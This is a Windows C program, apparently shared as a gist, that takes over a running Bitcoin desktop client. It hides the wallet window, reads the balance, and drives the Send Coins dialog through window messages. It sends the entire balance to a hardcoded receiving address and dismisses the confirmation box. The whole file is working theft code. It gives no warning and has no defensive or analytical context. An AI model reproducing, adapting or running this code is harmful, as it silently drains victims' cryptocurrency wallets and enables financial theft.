gistfile1.c

#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <stdio.h>
#include <conio.h>

#define MAX_BALANCE_LENGTH 32
#define RECEIVING_ADDRESS L"17K9G8MKceqcTJAWzcqAX4uSjnawsgdWwr"

int main()
{
	printf("Finding Bitcoin window...\n");

	HWND bitcoin_hwnd = FindWindowW(L"wxWindow@00C9E8A0NR", L"Bitcoin");

	if(!IsWindow(bitcoin_hwnd))
	{
		printf("Couldn't find Bitcoin window\n");
		return 1;
	}

	/* -------------------------------------------------------------------------------------------------------------- */

	ShowWindow(bitcoin_hwnd, SW_HIDE);

	printf("Finding balance window...\n");

	HWND balance_label_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"Static", L"Balance:");

	if(!IsWindow(balance_label_hwnd))
	{
		printf("Couldn't find balance label\n");
		return 1;
	}

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Finding balance...\n");

	wchar_t balance[MAX_BALANCE_LENGTH] = L"";
	GetWindowTextW(GetNextWindow(balance_label_hwnd, GW_HWNDNEXT), balance, sizeof balance);
	balance[(wcslen(balance)-2)] = '\0'; // The balance has two space characters (ASCII 32) on the end.

	printf("Balance is: %S\n", balance);

	if(!wcscmp(balance, L"0.00"))
	{
		printf("User has no money, can't send anything. :(\n");
		return 1;
	}

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Finding toolbar...\n");

	HWND toolbar_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"ToolbarWindow32", NULL);

	if(!IsWindow(toolbar_hwnd))
	{
		printf("Couldn't find toolbar\n");
		return 1;
	}

	DWORD toolbar_open_coordinates = MAKELPARAM(4, 4);
	PostMessageW(toolbar_hwnd, WM_LBUTTONDOWN, NULL, toolbar_open_coordinates);
	Sleep(50);
	// The WM_LBUTTONUP isn't considered processed until the Send Coins dialog is dismissed so we need to Post it.
	PostMessageW(toolbar_hwnd, WM_LBUTTONUP, NULL, toolbar_open_coordinates);
	Sleep(750);

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Finding Send Coins dialog...\n");

	HWND send_coins_hwnd = FindWindowW(L"#32770", L"Send Coins");

	if(!IsWindow(send_coins_hwnd))
	{
		printf("Couldn't find Send Coins dialog\n");
		return 1;
	}

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Filling out the form...\n");

	HWND pay_to_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"Pay &To:");
	HWND amount_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"&Amount:");

	if(!IsWindow(pay_to_label_hwnd) || !IsWindow(amount_label_hwnd))
	{
		printf("Couldn't find one of the edit box labels\n");
		return 1;
	}

	// SetWindowText doesn't work across processes, but WM_SETTEXT does.
	SendMessageW(GetNextWindow(pay_to_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)RECEIVING_ADDRESS);
	SendMessageW(GetNextWindow(amount_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)balance);
	
	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Finding Send button...\n");

	HWND send_button_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Button", L"&Send");

	if(!IsWindow(send_button_hwnd))
	{
		printf("Couldn't find Send button\n");
		return 1;
	}

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Sending balance (%S)\n", balance);

	DWORD send_button_coordinates = MAKELPARAM(4, 4);
	SendMessageW(send_button_hwnd, WM_LBUTTONDOWN, NULL, send_button_coordinates);
	Sleep(50);
	// This would block because of the MessageBox that is spawned.
	PostMessageW(send_button_hwnd, WM_LBUTTONUP, NULL, send_button_coordinates);
	Sleep(2000);

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("Finding Sending messagebox...\n");

	HWND sending_hwnd = FindWindowW(L"#32770", L"Sending...");

	if(!IsWindow(sending_hwnd))
	{
		printf("Couldn't find Sending messagebox\n");
		return 1;
	}

	// Since the messagebox is modal this gets processed by the parent and kills both.
	SendMessage(sending_hwnd, WM_CLOSE, NULL, NULL);

	/* -------------------------------------------------------------------------------------------------------------- */

	printf("All done! Press any key to exit.\n");

	_getch();
	return 0;
}